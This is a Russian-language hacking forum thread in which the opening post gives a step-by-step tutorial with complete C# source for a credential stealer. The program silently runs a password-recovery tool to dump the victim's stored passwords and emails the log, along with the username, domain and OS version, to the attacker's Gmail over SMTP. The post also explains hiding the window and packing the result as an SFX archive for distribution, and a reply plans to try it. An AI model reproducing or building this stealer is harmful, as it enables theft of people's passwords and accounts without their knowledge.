Web-Net
Понедельник, 09.01.2012, 18:31 | Сообщение # 1
Сообщений: 14
Доброго времени суток гайд рассчитан в первую очередь на новичков, батьки проходим мимо И так, для начала нам нужен "ms visual studio" с c#(шарп, не путаем с с++), я использовал 2010 студию чего и вам рекомендую, тк там есть 4нет фреймфорк(начиная с 4 версии можно нормально отправлять почту). Также нужен "MPR" (Multi Password Recovery)- с помощью этой утилиты мы будем вытягивать пароли.(где скачать? гугл ) 1. Запускам студию, создаем консольный проект (.net Framework 4.0) IMG: http://s51.radikal.ru/i134/1103/0f/fad620b201ce.png IMG: http://s50.radikal.ru/i129/1103/ce/df1e25766972.png 2. С debug'a ставим на release (по сути разницы мало... это не с++, но всетаки) IMG: http://s60.radikal.ru/i169/1103/15/a3cef613230c.png 3.Теперь нужно сделать нашу консолку невидимой, как? все очень просто, достаточно поменять тип на Windows application в Solution Explorere.. IMG: http://i023.radikal.ru/1103/80/0e838e5bc607.png IMG: http://i022.radikal.ru/1103/e4/18c53ac78794.png 4.Скачиваем MPR и скидываем "MPR.exe, HookLib.dll, block_reader.sys" к нашему зловреду (по дефолту C:\Users\юзверьнейм\Documents\Visual Studio 20**\Projects\имя проекта\bin\release) 5.Теперь наверное самое интересное, пишем наш зловещий код заходим в program.cs вверху, там где using'ы добавляем: Code
using System; using System.Collections.Generic; using System.Text; using System.Diagnostics; using System.IO; using System.Net; using System.Net.Mail; using System.Net.Mime;
в main пишем: Code
static void Main(string[] args) { start("MPR.exe", "/export");//запускаем Мпр и экспортируем пароли start("cmd.exe"," /c ren *.mpf log.mpf");//переименовываем "буквыбуквы.мпф" на "наши буквы.мпф"=) //аттачим лог и отправляем почту, (сервер, порт, мыло, пароль) sendMail("smtp.gmail.com",587,"lol@gmail.com","qwerty123"); }
чуть ниже main'a Code
static void start(string file, string command) //файл параметр { try { Process p1 = new Process(); p1.StartInfo.UseShellExecute = true; p1.StartInfo.RedirectStandardOutput = false; p1.StartInfo.FileName = file;//имя приложения p1.StartInfo.Arguments = command;//експорт паролей в файл p1.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;//скрытый запуск p1.Start();//старт p1.WaitForExit();//ждать пока запускаемое приложение закроеться } catch { } } static public void sendMail(string server,int port,string mail,string pass) { SmtpClient client = new SmtpClient(server, port); //smtp сервер п порт (можно 25) client.EnableSsl = true; client.Credentials = new System.Net.NetworkCredential(mail, pass); //почта и пароль MailMessage msg = new MailMessage(); msg.From = new MailAddress(mail);//от кого письмо msg.To.Add(new MailAddress(mail));//кому письмо msg.Subject = "stealer by byte";//заголовок мессаги msg.Body = "infoрматион=): " + " UserName: " + Environment.UserName + " DomainName: " + Environment.UserDomainName + " OSver: " + Environment.OSVersion; //содержимое string file = String.Format("log.mpf"); Attachment attach = new Attachment(file);//аттачим наш лог ContentDisposition disposition = attach.ContentDisposition; attach.TransferEncoding = TransferEncoding.QuotedPrintable; //кодировка гумно, рекомендую поопробывать поставит другие... client.Timeout = 999999999; //таймаут, как показывает практика 999999999 как раз хватит =) msg.Attachments.Add(attach);// добавляем аттач try { client.Send(msg);//отправляем мессагу } catch { } }
собственно шаманство с кодом завершено, остается только вписать свою почту\пароль\и смтп сервер Code
sendMail("smtp.gmail.com",587,"lol@gmail.com","qwerty123");
6.Ну и что дальше скажите вы?, жмем ф6 для создания виря, если все правильно то в папке bin\release появится .ехешник, можете запустить для проверки. теперь остается малое, запилить сфх архив(думаю каждый знает как) Если возникнут какие-то ошибки\вопросы пишите в тему Удачи Исходники: http://rghost.ru/35818054
AnVIRUS
Вторник, 10.01.2012, 13:21 | Сообщение # 2
Сообщений: 2
Лучше бы сразу разместить скрины на странице, можно под спойлер. Будет намного легче А вообще, гайд интересный, как допишу апдейтер, перейду к этому эксперименту
Web-Net
Вторник, 10.01.2012, 19:54 | Сообщение # 3
Сообщений: 14
Я исход сделал и выложил на сайте в этой теме